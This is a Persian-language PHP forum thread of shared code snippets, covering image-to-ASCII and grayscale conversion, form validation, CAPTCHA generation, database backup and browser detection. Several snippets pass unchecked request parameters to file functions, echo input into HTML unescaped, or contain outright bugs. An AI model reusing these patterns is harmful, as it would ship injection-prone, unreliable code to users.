<html>
<head>
<title>Ascii</title>
<style>
body{
line-height:1px;
font-size:1px;
}
</style>
</head>
<body>
<?php
function getext($filename) {
$pos = strrpos($filename,'.');
$str = substr($filename, $pos);
return $str;
}
if(!isset($_POST['submit'])){
?>
<form action="<?echo $_SERVER['PHP_SELF'];?>" method="post">
JPG img URL: <input type="text" name="image"><br>
<input type="submit" name="submit" value="Create">
</form>
<?
}else{
$image = $_POST['image'];
$ext = getext($image);
if($ext == ".jpg"){
$img = ImageCreateFromJpeg($image);
}
else{
echo'Wrong File Type';
}
$width = imagesx($img);
$height = imagesy($img);

for($h=0;$h<$height;$h++){
for($w=0;$w<=$width;$w++){
$rgb = ImageColorAt($img, $w, $h);
$r = ($rgb >> 16) & 0xFF;
$g = ($rgb >> 8) & 0xFF;
$b = $rgb & 0xFF;
if($w == $width){
echo '<br>';
}else{
echo '<span style="color:rgb('.$r.','.$g.','.$b.');">#</span>';
}
}
}
}
?>
</body>
</html>


میشه بگین این چه کاربرد هایی داره ؟ اصلا چیکار میکنه ؟

$ M 3 H R D A D $
دوشنبه 23 اسفند 1389, 11:28 صبح
با استفاده از کد زیر می توانید لیست جداول موجود در DB را ببینید



<?php
mysql_connect("localhost","root","");
$tables=mysql_list_tables("database_name");
while($tbl=mysql_fetch_array($tables))
{
echo $tbl[0]."<br>";
}
?>



این تابع و نمیشناسه چرا ؟

hosseintdk775
سه شنبه 24 اسفند 1389, 02:13 صبح
بسم الله الرحمن الرحیم
سلام
تابع mysql_list_tables - ن deprecated شده بهتره ازش استفاده نکنی
بجاش می تونید از کوئری زیر برای لیست جدول ها استفاده کنی:

"show tables;"

رضا قربانی
سه شنبه 16 فروردین 1390, 00:33 صبح
<?php
$email = $_POST['email'];
if(preg_match("~([a-zA-Z0-9!#$%&'*+-/=?^_`{|}~])@([a-zA-Z0-9-]).([a-zA-Z0-9]{2,4})~",$email)){
echo 'This is a valid email.';
}else{
echo 'This is an invalid email.';
}
?>


این باید اینطوری باشه



<?php
$email = $_POST['email'];
if(preg_match('/^[a-z0-9_\-+\.]+@([a-z0-9\-+]+\.)+[a-z]{2,5}$/i',$email)){
echo 'This is a valid email.';
}else{
echo 'This is an invalid email.';
}
?>

Mr.Moghadam
سه شنبه 16 فروردین 1390, 00:56 صبح
یه سوال :

می خوام اطلاعاتی که پست دریافت می کنم تا وارد بانک کنم فقط اعداد باشه .

ممنون می شم

داداشی براش یه پست جدا میزدی
میتونی قبل از اینکه ازش استفاده کنی چک کنی ببینی عدده یا نه


if(is_numeric($_POST['id']))

sargardoon
سه شنبه 16 فروردین 1390, 01:16 صبح
validation ساده برای داده های فرم

<?php

class Validation
{
public $errors = array();

public function isValidStr($strVal, $strType, $minChar=2, $maxChar = 1000) {
if(strlen($strVal) < intval($minChar)) {
$this -> setError($strType, ucfirst($strType)." must be at least {$minChar} characters long.");
} elseif (strlen($strVal) > intval($maxChar)) {
$this -> setError($strType, ucfirst($strType)." must be less than {$maxChar} characters long.");
} else {
// validate data entry
$pattern = "#^[\s\x{0621}-\x{063A}\x{0640}-\x{0691}\x{0698}-\x{06D2}\x{06F0}-\x{06F9}\x{0661}-\x{0669}0-9\n\r\\'\-\_\.\:\,0-9a-zA-Z]+$#u";
if (!preg_match($pattern, $strVal)) {
$this -> setError($strType, ucfirst($strType)." must be from letters, dashes, spaces and must not start with dash");
}
}
}

public function isValidEmail($emailVal) {
if(strlen($strVal) < 0 ) {
$this -> setError('email', 'E-mail Address cannot be blank');
} else {
// validate data entry
$pattern = "/^[^0-9][A-z0-9_]+([.][A-z0-9_]+)*[@][A-z0-9_]+([.][A-z0-9_]+)*[.][A-z]{2,4}$/";
if (!preg_match($pattern, $emailVal)) {
$this -> setError('email', 'Please enter valid E-mail Address');
}
}
}


public function isValidURL($urlVal) {
if(!empty($urlVal)) {
$pattern = "#^http(s)?://[a-z0-9-_.]+\.[a-z]{2,4}#i";
if (!preg_match($pattern, $urlVal)) {
$this -> setError('url', 'Please enter valid URL Address with http://');
}
}
}


public function setError($key, $value) {
$this -> errors[$key] = $value;
}

public function getError($key) {
if ($this -> errors[$key]) {
return $this -> errors[$key];
} else {
return false;
}
}


public function errCount() {
return (count($this -> errors) > 0) ? count($this -> errors) : false;
}
}

?>

sargardoon
سه شنبه 16 فروردین 1390, 01:17 صبح
کلاسی برای ساخت Log file

<?php

class Log
{

private $_FileName;
private $_Data;

/**
* @desc Write to a file
* @param str $strFileName Then name of the file
* @param str $strData Data to be append to the file
*/
public function Write($strFileName, $strData)
{
// Set Class Vars
$this -> _FileName = $strFileName;
$this -> _Data = $strData;

// Check Data
$this -> _CheckPermission();
$this -> _CheckData();

$handle = fopen($strFileName, 'a+');
fwrite($handle, $strData."\r");
}

/**
* @desc Read from a file
* @param str $strFileName Then name of the file
* @return str The text file
*/
public function Read($strFileName)
{
$this -> _FileName = $strFileName;

$this -> _CheckExists();

$handle = fopen($strFileName, 'r');
return file_get_contents($strFileName);
}


private function _CheckExists()
{
if (!file_exists($this -> _FileName))
die ('The file does not exists');
}

private function _CheckPermission()
{
if (!is_writable($this -> _FileName))
die ('Change you CHMOD permission to '.$this -> _FileName);
}

private function _CheckData()
{
if (strlen($this -> _Data) < 1)
die ('You must have more than one character to write on the file');
}

}
?>

sargardoon
سه شنبه 16 فروردین 1390, 01:20 صبح
یک کلاس جالب برای اتصال به بانک داده ها


<?php
// Using OOP PHP to select, update, and insert data in a mysql database

class database
{
private $dbhost;
private $dbuser;
private $dbpass;
private $dbname;

private static $instance;

private $connection;
private $results;
private $numRows;

private function __construct() {}

static function getInstance()
{
if(!self::$instance)
{
self::$instance = new self();
}
return self::$instance;
}


// Create Connection to MySQL
function connect($dbhost, $dbuser, $dbpass, $dbname)
{
$this -> dbhost = $dbhost;
$this -> dbuser = $dbuser;
$this -> dbpass = $dbpass;
$this -> dbname = $dbname;

$this -> connection = mysqli_connect($this->dbhost, $this->dbuser, $this->dbpass, $this->dbname);
}

// Run Query
public function doQuery ($sql)
{
$this -> results = mysqli_query($this -> connection, $sql);
$this -> numRows = $this -> results -> num_rows;
}

// Load the list of data in database
public function loadObjectList()
{
$obj = 'No Results';
if ($this -> results)
{
$obj = mysqli_fetch_assoc($this -> results);
}
return $obj;
}
}


?>

Reza1607
جمعه 14 بهمن 1390, 23:27 عصر
نمونه برنامه موتور جستجو

دوستان من اين برنامه رو اينجا قرار مي دم تا دوستان ازش بتونن استفاده كنند
فقط من بحث هاي امنيتي رو لحاظ نكردم

MostafaEs3
چهارشنبه 19 بهمن 1390, 22:05 عصر
//////////

MostafaEs3
چهارشنبه 19 بهمن 1390, 22:14 عصر
//////////

tux-world
یک شنبه 23 بهمن 1390, 12:43 عصر
فشرده كردن فضاهاي خالي غير ضروري:

$busca = array('/\>[^\S ]+/s','/[^\S ]+\</s','/(\s)+/s');

tux-world
یک شنبه 23 بهمن 1390, 13:01 عصر
جدا كردن اعداد از يك رشته عبارت:


$busca = array('/\>[^\S ]+/s','/[^\S ]+\</s','/(\s)+/s');
//-------------------------
Example:
?d=52;d;s;s'2233l'[[22

Outpt:

Cleared value: 52223322

MostafaEs3
یک شنبه 23 بهمن 1390, 18:08 عصر
//////////

MMSHFE
یک شنبه 30 بهمن 1390, 16:25 عصر
جلوگیری از اجرای اسکریپتهایی که باید include بشن:
این کد رو ابتدای اسکریپتهایی که میخواین مستقیماً قابل اجرا نباشن اضافه کنید تا فقط بشه اونها رو require کرد:


$script = pathinfo($_SERVER['SCRIPT_FILENAME'], PATHINFO_BASENAME);
$file = pathinfo(__FILE__, PATHINFO_BASENAME);
if($script == $file) {
header('location: index.php');
exit();
}

mtchabok
یک شنبه 30 بهمن 1390, 16:50 عصر
البته اینم میشه :

if(realpath($_SERVER['SCRIPT_FILENAME']) == realpath(__FILE__)) {
header('location: index.php');
exit();
}

MostafaEs3
چهارشنبه 03 اسفند 1390, 04:15 صبح
//////////

MMSHFE
چهارشنبه 03 اسفند 1390, 08:52 صبح
البته کلاس هم مزایای خاص خودش رو داره. بخصوص مباحثی که مرتبط با Encapsulation و تعیین سطح دسترسی هست. بعلاوه میتونید Snippetهای مختلف رو توی یک کلاس با نام دلخواه قرار بدین و با ایجاد یک شئ از اون کلاس، به همه اونها دسترسی پیدا کنید. حتی میتونید اونها رو از نوع static تعریف کنید که دیگه نیازی به ساخت شئ هم نباشه. بحث وراثت که وسط میاد، قدرت اصلی شئ گرایی توش مشخص میشه. درمورد Interfaceها و کلاسهای Abstract و... هم که بهتره صحبت نکنیم چون فکر نمیکنم دیگه کسی باقی بمونه که بخواد از روش رَویه گرا (Procedural) استفاده کنه و همه بسمت OOP حرکت کنن. البته باز هم تأکید میکنم شئ گرایی یک امتیازه نه یک اجبار و از این جهت، PHP خیلی خوب تونسته تعادل مناسبی بین برنامه نویسی Procedural و Object Oriented برقرار کنه. موفق باشید.

MostafaEs3
دوشنبه 15 اسفند 1390, 03:24 صبح
//////////

MostafaEs3
دوشنبه 15 اسفند 1390, 03:27 صبح
//////////

MostafaEs3
دوشنبه 15 اسفند 1390, 03:29 صبح
//////////

MostafaEs3
دوشنبه 15 اسفند 1390, 03:31 صبح
//////////

MostafaEs3
دوشنبه 15 اسفند 1390, 03:33 صبح
//////////

MostafaEs3
دوشنبه 15 اسفند 1390, 03:39 صبح
//////////

MostafaEs3
دوشنبه 15 اسفند 1390, 03:40 صبح
//////////

MostafaEs3
دوشنبه 15 اسفند 1390, 03:42 صبح
//////////

MostafaEs3
دوشنبه 15 اسفند 1390, 03:43 صبح
//////////

MostafaEs3
دوشنبه 15 اسفند 1390, 03:44 صبح
//////////

MostafaEs3
دوشنبه 15 اسفند 1390, 03:46 صبح
//////////

MostafaEs3
سه شنبه 16 اسفند 1390, 20:58 عصر
//////////

alishmas
پنج شنبه 18 اسفند 1390, 22:40 عصر
<?php
$colors = array('red','orange','yellow','green','blue');
echo $colors[array_rand($colors)];
?>

تابع shuffle هم همین کارو انجام میده:


$colors = array('red','orange','yellow','green','blue');
echo shuffle ($colors);

Reza1607
پنج شنبه 03 فروردین 1391, 15:50 عصر
اين هم يك تكه كد واقعا به درد بخور



function wordsub($string,$len=10,$str2='...')
{
$array=explode(' ',$string,$len+1);
array_pop($array);
return implode(' ',$array).' '.$str2;
}


كار اين تك كد اينه كه شما يك رشته رو بهش پاس مي دين و مي گيد كه مثلا n تا كلمه اول رو جدا كنه و به جاي بقيه پارامتر سوم رو بذاره

majid.ebrahimi
جمعه 04 فروردین 1391, 10:20 صبح
اسنیپت یعنی "قعطه کد" .
اینجا هم یه سری بزنید :
http://phpsnips.com/

alonemm
سه شنبه 15 فروردین 1391, 14:39 عصر
باسلام:

ارسال ایمیل با کاراکترهای فارسی.....!

MostafaEs3
سه شنبه 15 فروردین 1391, 15:14 عصر
//////////

MostafaEs3
سه شنبه 15 فروردین 1391, 15:16 عصر
//////////

MMSHFE
چهارشنبه 16 فروردین 1391, 12:59 عصر
تبدیل عکس به متن


<!doctype html>
<html>
<head>
<title>ASCII Image</title>
</head>
<body>
<?php
function ascii_image($image) {
$result = '';
if(file_exists($_GET['image'])) {
if(substr($image, strrpos($image, '.')) == '.jpg') {
$img = imagecreatefromjpeg($image);
$result .= '<style type="text/css">'.PHP_EOL;
$result .= '.ascii_image {'.PHP_EOL;
$result .= 'font-family: Tahoma;'.PHP_EOL;
$result .= 'font-size: 1px;'.PHP_EOL;
$result .= 'line-height: 1px;'.PHP_EOL;
$result .= '}'.PHP_EOL;
$result .= '</style>'.PHP_EOL;
$iw = imagesx($img);
$ih = imagesy($img);
$result .= '<div class="ascii_image">'.PHP_EOL;
for($h = 0; $h < $ih; $h++) {
for($w = 0; $w < $iw; $w++) {
$rgb = imagecolorat($img, $w, $h);
$r = ($rgb >> 16) & 0xFF;
$g = ($rgb >> 8) & 0xFF;
$b = ($rgb >> 0) & 0xFF;
$result .= '<span style="color: rgb('.$r.','.$g.','.$b.');">#</span>';
}
$result .= '<br/>'.PHP_EOL;
}
$result .= '</div>'.PHP_EOL;
}
else {
$result .= 'Wrong File Type';
}
}
return $result;
}
// How to use it ?
if(isset($_GET['image'])) {
echo ascii_image($_GET['image']);
}
?>
</body>
</html>

موفق باشید.

MMSHFE
پنج شنبه 17 فروردین 1391, 14:41 عصر
تبدیل عکسهای رنگی به سیاه و سفید:


<?php
header('Content-type: image/jpeg');
if(!isset($_GET['file']) || !file_exists($_GET['file']) || strtolower(substr($_GET['file'], strrpos($_GET['file'], '.'))) != '.jpg') {
$im = imagecreatetruecolor(100, 100);
$white = imagecolorallocate($im, 255, 255, 255);
$black = imagecolorallocate($im, 0, 0, 0);
imagefill($im, 50, 50, $white);
imagestring($im, 5, 30, 40, 'Error', $black);
imagejpeg($im);
imagedestroy($im);
exit();
}
$file = $_GET['file'];
list($width, $height) = getimagesize($file);
$source = imagecreatefromjpeg($file);
$bwimage = imagecreate($width, $height);
$palette = array();
for ($i = 0; $i < 256; $i++) {
$palette[$i] = imagecolorallocate($bwimage, $i, $i, $i);
}
for($y = 0; $y < $height; $y++) {
for($x = 0; $x < $width; $x++) {
$color = imagecolorat($source, $x, $y);
$r = ($color >> 16) & 0xFF;
$g = ($color >> 8) & 0xFF;
$b = ($color >> 0) & 0xFF;
$gs = ($r * 0.299) + ($g * 0.587) + ($b * 0.114);
imagesetpixel($bwimage, $x, $y, $palette[$gs]);
}
}
imagejpeg($bwimage);
imagedestroy($source);
imagedestroy($bwimage);
?>

مثال از نحوه فراخوانی:

<img src="bw.php?file=image.jpg"/>
امیدوارم این هم به درد بخوره

MMSHFE
جمعه 18 فروردین 1391, 10:13 صبح
یک نکته هم یادم رفت بگم و اون اینکه میشه کد فوق رو کمی گسترش داد و مثلاً چهار پارامتر x و y و w و h رو براش به روش GET بفرستیم و با کمی تغییر در کد، کاری کنیم که فقط همون قسمت از تصویر سیاه و سفید بشه یا برعکس، همه تصویر سیاه و سفید بشه و اون قسمت فقط رنگی بمونه.

MMSHFE
جمعه 18 فروردین 1391, 10:46 صبح
وادار کردن صفحه به Refresh شدن در زمان دلخواه:

header('Refresh: 1');
به جای 1 زمان دلخواه رو برحسب ثانیه بنویسید. فکر میکنم توی پروژه هایی مثل ساخت چت روم کاربرد خوبی داشته باشه. بعلاوه با ترکیب سشن و کوکی و... میشه کاری کرد که فقط به تعداد دفعات محدودی این عمل انجام بشه. موفق باشید.

MMSHFE
جمعه 18 فروردین 1391, 12:00 عصر
تولید CAPTCHA راحت و قوی و قابل تنظیم:


<?php

// Configuration
$height = 75;
$width = 300;
$length = 6;
$lineCount = 25;
$circleCount = 25;
$maxRadius = 50;
$space = 40;

// Generate random code
session_start();
$alpha = array_merge(range('a', 'z'), range('0', '9'));
$string = '';
for($i = 0; $i < $length; $i++) {
$string .= $alpha[rand() % count($alpha)];
}
$_SESSION['captcha'] = $string;

// Create image
header('Content-type: image/png');
$im = imagecreate($width, $height);

// Create colors
$backColor = imagecolorallocate($im, 255, 255, 255);
$textColor = imagecolorallocate($im, 0, 127, 255);
$lineColor = imagecolorallocate($im, 127, 191, 255);

// Assign font
$font = './Disney.ttf';
$fontsize = $height * 0.75;

// Calculate the bounding box of the text
$box = imagettfbbox($fontsize, 0, $font, $string);

// Start position of the text
$positionX = ($width - $space * $length) / 2;

// Rotation Direction (1: Anti-clockwise, -1: Clockwise)
$direction = 1;

// Fill the image with background color
imagefill($im, $width / 2, $height / 2, $backColor);

// Write the text in the image using font, rotation, position, etc.
for($i = 0; $i < $length; $i++) {
$char = substr($string, $i, 1);
imagettftext($im, $fontsize, (rand() % 30 * $direction), $positionX, ($height - $box[5]) / 2 - 2, $textColor, $font, $char);
$direction = -$direction;
$positionX += $space;
}

// Add lines to the image
for($i = 0; $i < $lineCount; $i++) {
$x1 = rand() % $width;
$y1 = rand() % $height;
$x2 = rand() % $width;
$y2 = rand() % $height;
imageline($im, $x1, $y1, $x2, $y2, $lineColor);
}

// Add circles to the image
for($i = 0; $i < $circleCount; $i++) {
$cx = rand() % $width;
$cy = rand() % $height;
$rx = rand() % $maxRadius;
$ry = rand() % $maxRadius;
$start = rand() % 360;
$end = rand() % 360;
imagearc($im, $cx, $cy, $rx, $ry, $start, $end, $lineColor);
}

imagepng($im);
imagedestroy($im);

?>

نمونه استفاده:

<img src="captcha.php"/>موفق باشید.

MostafaEs3
جمعه 18 فروردین 1391, 14:21 عصر
//////////

MostafaEs3
جمعه 18 فروردین 1391, 14:22 عصر
//////////

MostafaEs3
جمعه 18 فروردین 1391, 14:34 عصر
//////////

MostafaEs3
جمعه 18 فروردین 1391, 14:36 عصر
//////////

MostafaEs3
جمعه 18 فروردین 1391, 14:37 عصر
//////////

MostafaEs3
شنبه 19 فروردین 1391, 10:27 صبح
//////////

MMSHFE
جمعه 25 فروردین 1391, 16:58 عصر
نمایش بخشی از تصویر


<?php
header('Content-type: image/jpeg');
if(!isset($_GET['file']) || !file_exists($_GET['file']) || strtolower(substr($_GET['file'], strrpos($_GET['file'], '.'))) != '.jpg') {
$im = imagecreatetruecolor(100, 100);
$white = imagecolorallocate($im, 255, 255, 255);
$black = imagecolorallocate($im, 0, 0, 0);
imagefill($im, 50, 50, $white);
imagestring($im, 5, 30, 40, 'Error', $black);
imagejpeg($im);
imagedestroy($im);
exit();
}
$src = imagecreatefromjpeg($_GET['file']);
$sw = imagesx($src);
$sh = imagesy($src);
$x1 = (isset($_GET['x1']) && is_numeric($_GET['x1']) && $_GET['x1'] >= 0 && $_GET['x1'] < $sw) ? (int) $_GET['x1'] : 0;
$y1 = (isset($_GET['y1']) && is_numeric($_GET['y1']) && $_GET['y1'] >= 0 && $_GET['y1'] < $sh) ? (int) $_GET['y1'] : 0;
$x2 = (isset($_GET['x2']) && is_numeric($_GET['x2']) && $_GET['x2'] >= 0 && $_GET['x2'] < $sw) ? (int) $_GET['x2'] : $sw;
$y2 = (isset($_GET['y2']) && is_numeric($_GET['y2']) && $_GET['y2'] >= 0 && $_GET['y2'] < $sh) ? (int) $_GET['y2'] : $sh;
$tl = array('x' => min ($x1, $x2), 'y' => min($y1, $y2));
$br = array('x' => max ($x1, $x2), 'y' => max($y1, $y2));
$dw = abs($x1 - $x2);
$dh = abs($y1 - $y2);
$dst = imagecreatetruecolor($dw, $dh);
imagecopyresized($dst, $src, 0, 0, $tl['x'], $tl['y'], $dw, $dh, $br['x'], $br['y']);
imagejpeg($dst);
imagedestroy($dst);
imagedestroy($src);
?>

مثالی از نحوه استفاده:

<img src="pim.php?file=image.jpg&x1=50&y1=50&x2=200&y2=100"/>
(با فرض اینکه کد فوق رو به اسم pim.php ذخیره کرده باشین).
کاربرد اصلی این اسکریپت برای وقتی هست که میخواین یک تصویر رو بصورت تکه تکه نشون بدین و با CSS تنظیم کنید تا کنار هم ظاهر بشه. دیگه نیازی نیست توی Photoshop یا سایر برنامه ها تصویر رو برش بدین و توی فایلهای جداگانه ذخیره کنید و در فضای هاست هم صرفه جویی میشه چون برای هر فایل جداگانه، هدرهای تصویر ذخیره میشن و این یعنی تکرار هدرها. کد فوق رو با کمی تغییر میتونید برای سایر انواع تصویر مثل png و... هم استفاده کنید.
موفق باشید.

MMSHFE
شنبه 26 فروردین 1391, 00:44 صبح
Backup گرفتن از دیتابیس


<?php
function backup_db($host, $user, $pass, $name, $tables = '*') {
date_default_timezone_set('Asia/Tehran');

$return = '';

mysql_connect($host,$user,$pass) or die('Connection error');
mysql_select_db($name) or die('Database error');
mysql_query('SET NAMES \'utf8\'');
mysql_set_charset('utf8');

if($tables == '*') {
$tables = array();
$result = mysql_query('SHOW TABLES');
while($row = mysql_fetch_row($result)) {
$tables[] = $row[0];
}
mysql_free_result($result);
}
else {
$tables = is_array($tables) ? $tables : explode(',', $tables);
}

foreach($tables as $table) {
$result = mysql_query('SELECT * FROM `'.$table.'`');
$num_fields = mysql_num_fields($result);
$return .= 'DROP TABLE IF EXISTS `'.$table.'`;'.PHP_EOL.PHP_EOL;
$row = mysql_fetch_row(mysql_query('SHOW CREATE TABLE `'.$table.'`'));
$return .= $row[1].';'.PHP_EOL.PHP_EOL;

for ($i = 0; $i < $num_fields; $i++) {
while($row = mysql_fetch_row($result)) {
$return.= 'INSERT INTO `'.$table.'` VALUES(';
for($j = 0; $j < $num_fields; $j++) {
$row[$j] = addslashes($row[$j]);
$row[$j] = str_replace('\n', '\\n', $row[$j]);
if (isset($row[$j])) {
$return .= '\''.$row[$j].'\'';
}
else {
$return .= '\'\'';
}
if ($j < ($num_fields - 1)) {
$return .= ',';
}
}
$return .= ');'.PHP_EOL;
}
}
$return .= PHP_EOL.PHP_EOL.PHP_EOL;
}

$handle = fopen('db-backup-'.$name.'-'.date('Y,m,d-H,i,s').'.sql', 'w');
fwrite($handle, $return);
fclose($handle);
}
?>

مثالی از نحوه استفاده:

backup_db('localhost', 'root', '', 'your_db_name');
امیدوارم توی پروژه هاتون هرجا نیاز به Backup گرفتن داشتین، به دردتون بخوره. موفق باشید.

MostafaEs3
شنبه 26 فروردین 1391, 18:45 عصر
//////////

MostafaEs3
شنبه 26 فروردین 1391, 18:47 عصر
//////////

MostafaEs3
شنبه 26 فروردین 1391, 18:50 عصر
//////////

MostafaEs3
شنبه 26 فروردین 1391, 18:51 عصر
//////////

MostafaEs3
شنبه 26 فروردین 1391, 19:01 عصر
//////////

MostafaEs3
شنبه 26 فروردین 1391, 19:06 عصر
//////////

MostafaEs3
یک شنبه 27 فروردین 1391, 15:24 عصر
//////////

MostafaEs3
یک شنبه 27 فروردین 1391, 15:27 عصر
//////////

MostafaEs3
یک شنبه 27 فروردین 1391, 15:34 عصر
//////////

رضا قربانی
یک شنبه 27 فروردین 1391, 19:39 عصر
کوتاه کردن متن و بستن تگهای بسته نشده !


function shorten_text($str, $limit='100')
{
$array_words = explode(' ', $str);
if(count($array_words) > $limit)
{
$i = 0;
$final = '';
foreach($array_words as $word){
if($limit > $i)
{
$final .= "$word ";
}
$i++;
}
$short = 1;
}
else
{
$final = $str;
}

$tags = array('center' => 'center',
'img=[^\]]*' => 'img',
'url=[^\]]*' => 'url',
'img' => 'img',
'url' => 'url',
'u' => 'u',
'i' => 'i',
'b' => 'b',
'align=[^\]]*' => 'align',
'mail=[^\]]*' => 'mail',
'font=[^\]]*' => 'font',
'size=[^\]]*' => 'size',
'color=[^\]]*' => 'color');
$matches = array();
foreach ($tags as $opentag => $closetag)
{
$closed = preg_match_all("~\[/".$closetag."\]~i", $final, $matches);
$open = preg_match_all("~\[".$opentag."\]~i", $final, $matches);

if ($open > $closed)
{
$final .= "[/".$closetag."]";
}
}

if(isset($short))
{
return "".$final."[....]";
}
else
{
return $final;
}

}
?>



برای کوتاه کردن متن من از این کدی که خودم نوشتم استفاده می کنم :


echo substr("aaaaaaaaaaaaaaaaaaaa",0,5) ;

آقای شهرکی اون بک آپ گرفتن از بانک اطلاعاتی خیلی جالب و کارآمد بود .

نحوه استفاده هم که میری توی بانک و ایمپورت می کنی .
حالا من می خوام کاربر فایل رو انتخاب کنه و اتوماتیک جایگزین بشه . چیزی هست در موردش ؟

MMSHFE
یک شنبه 27 فروردین 1391, 21:31 عصر
حالا من می خوام کاربر فایل رو انتخاب کنه و اتوماتیک جایگزین بشه . چیزی هست در موردش ؟
میشه بیشتر توضیح بدین؟

رضا قربانی
دوشنبه 28 فروردین 1391, 00:31 صبح
این بک آپی که می گیریم با پسوند .sql ذخیره می شه درسته ؟ که ما باید دستی اون رو در بانک اطلاعاتی ایمپورت کنیم

حالا می خوام ما توی بانک نریم و عملیات ایمپورت رو انجام ندیم (یعنی یک فرم درست کنیم که این فایل رو دریافت کنه و این بک آپ رو اتوماتیک در بانک ایمپورت کنه)

MMSHFE
دوشنبه 28 فروردین 1391, 12:08 عصر
خوب محتویات فایل Backup رو که با پسوند sql. هست، با file_get_contents بخونید و به mysql_query بفرستین تا براتون اجراش کنه. برای کدهایی که حجمشون زیاد نیست راحت جواب میده. برای کدهای حجیم باید از AJAX و خوندن تکه تکه فایل استفاده کنید تا با Script Timeout Error مواجه نشین. البته میتونید از BigDump هم استفاده کنید که توی اینترنت موجوده.
موفق باشید.

رضا قربانی
سه شنبه 29 فروردین 1391, 22:05 عصر
من یک متن دارم که با کاما جدا می شه (تگ) === > رضا,علی,حسن,محمد

1 : می خوام این متن بعد کاما هر یک از اسم ها برن داخل تگ <h2> مثلا <h2>رضا</h2> -------- <h2>علی</h2> -------- <h2>حسن</h2> -------- <h2>محمد</h2>
2 : همانند بالا برن داخل تگ <a href= ...

ممنون می شم دوستان

MMSHFE
چهارشنبه 30 فروردین 1391, 10:03 صبح
<?php
$str = 'رضا,علی,حسن,محمد';
$names = explode(',', $str);
foreach($names as $name) {
echo '<h2>'.$name.'</h2>'.PHP_EOL;
}
foreach($names as $name) {
echo '<p><a href="profile.php?name='.$name.'">'.$name.'</a></p>'.PHP_EOL;
}
?>

MostafaEs3
چهارشنبه 30 فروردین 1391, 16:40 عصر
//////////

MostafaEs3
چهارشنبه 30 فروردین 1391, 16:48 عصر
//////////

djsaeedkhan
یک شنبه 03 اردیبهشت 1391, 10:24 صبح
تشخیص درخواست AJAX


if(!empty($_SERVER['HTTP_X_REQUESTED_WITH']) && strtolower($_SERVER['HTTP_X_REQUESTED_WITH']) == 'xmlhttprequest') {
//If AJAX Request Then
}
else {
//something else
}

MostafaEs3
یک شنبه 03 اردیبهشت 1391, 15:20 عصر
//////////

MostafaEs3
دوشنبه 04 اردیبهشت 1391, 18:21 عصر
//////////

MMSHFE
دوشنبه 04 اردیبهشت 1391, 19:19 عصر
عزیز اسنیپت هست ها! این که خودش پروژه بود!!!

MostafaEs3
دوشنبه 04 اردیبهشت 1391, 19:42 عصر
//////////

MostafaEs3
دوشنبه 04 اردیبهشت 1391, 19:44 عصر
//////////

tux-world
دوشنبه 04 اردیبهشت 1391, 20:13 عصر
کدبسیار عالیه دستتون درد نکنه . برای مطالعه بیشتر: http://persiansec.mihanblog.com/post/94

djsaeedkhan
سه شنبه 05 اردیبهشت 1391, 09:30 صبح
با سلام خدمت دوستان
این کد رو جایی دیدم و اینجا میذارم تا دوستانی که می خواهند هم استفاده کنن.
توسط این کد میشه به آجاکس در زمان های مختلف کار های مختلف انجام داد و آن هم بصورت اتوماتیک

setInterval( "alert('Hello San')", 5000 ); ///////// 5 seconds

Example: just alert “hello San” to test this function after 10 seconds

<script type="text/javascript" src="http://ajax.googleapis.com/ajax/libs/jquery/1.3.0/jquery.min.js"></script>
<script language="JavaScript">
setInterval( "alert('Hello San')", 10000 );
</script>

Example : With jquery,update div contents after 5 seconds

<script type="text/javascript" src="http://ajax.googleapis.com/ajax/libs/jquery/1.3.0/jquery.min.js"></script>
<script language="JavaScript">
setInterval( "SANAjax();", 5000 ); ///////// 10 seconds

$(function() {
SANAjax = function(){

$('#dataDisplay').prepend("Hi This is auto refresh example for you - w3cgallery.com <br><br>").fadeIn("slow");

}
});
</script>

دموی آنلاین
http://www.w3cgallery.com/examples/Ajax-auto-refresh-after-x-seconds.php

بزن تشکر قشنگه رو

djsaeedkhan
سه شنبه 05 اردیبهشت 1391, 09:31 صبح
با سلام
این کد مرورگر کاربر رو بررسی می کنه و از موارد زیر پشتیبانی می کنه.

I based this solution off of Gary White’s original solution but added a few things:
I added the ability to view the return values as class constants to increase the readability
Updated the version detection for Amaya
Updated the version detection for Firefox
Updated the version detection for Lynx
Updated the version detection for WebTV
Updated the version detection for NetPositive
Updated the version detection for IE
Updated the version detection for OmniWeb
Updated the version detection for iCab
Updated the version detection for Safari
Added detection for Chrome
Added detection for iPhone
Added detection for robots
Added detection for mobile devices
Added detection for BlackBerry
Added detection for iPhone
Added detection for iPad
Added detection for Android
Removed Netscape checks
Updated Safari to remove mobile devices (iPhone)

This solution identifies the following Operating Systems:
Windows (Browser::PLATFORM_WINDOWS)
Windows CE (Browser::PLATFORM_WINDOWS_CE)
Apple (Browser::PLATFORM_APPLE)
Linux (Browser::PLATFORM_LINUX)
Android (Browser::PLATFORM_ANDROID)
OS/2 (Browser::PLATFORM_OS2)
BeOS (Browser::PLATFORM_BEOS)
iPhone (Browser::PLATFORM_IPHONE)
iPod (Browser::PLATFORM_IPOD)
BlackBerry (Browser::PLATFORM_BLACKBERRY)
FreeBSD (Browser::PLATFORM_FREEBSD)
OpenBSD (Browser::PLATFORM_OPENBSD)
NetBSD (Browser::PLATFORM_NETBSD)
SunOS (Browser::PLATFORM_SUNOS)
OpenSolaris (Browser::PLATFORM_OPENSOLARIS)
iPad (Browser::PLATFORM_IPAD)

This solution identifies the following Browsers and does a best-guess on the version:
Opera (Browser::BROWSER_OPERA)
WebTV (Browser::BROWSER_WEBTV)
NetPositive (Browser::BROWSER_NETPOSITIVE)
Internet Explorer (Browser::BROWSER_IE)
Pocket Internet Explorer (Browser::BROWSER_POCKET_IE)
Galeon (Browser::BROWSER_GALEON)
Konqueror (Browser::BROWSER_KONQUEROR)
iCab (Browser::BROWSER_ICAB)
OmniWeb (Browser::BROWSER_OMNIWEB)
Phoenix (Browser::BROWSER_PHOENIX)
Firebird (Browser::BROWSER_FIREBIRD)
Firefox (Browser::BROWSER_FIREFOX)
Mozilla (Browser::BROWSER_MOZILLA)
Amaya (Browser::BROWSER_AMAYA)
Lynx (Browser::BROWSER_LYNX)
Safari (Browser::BROWSER_SAFARI)
iPhone (Browser::BROWSER_IPHONE)
iPod (Browser::BROWSER_IPOD)
Google’s Android(Browser::BROWSER_ANDROID)
Google’s Chrome(Browser::BROWSER_CHROME)
GoogleBot(Browser::BROWSER_GOOGLEBOT)
Yahoo!’s Slurp(Browser::BROWSER_SLURP)
W3C’s Validator(Browser::BROWSER_W3CVALIDATOR)
BlackBerry(Browser::BROWSER_BLACKBERRY)

نحوه استفاده

$browser = new Browser();
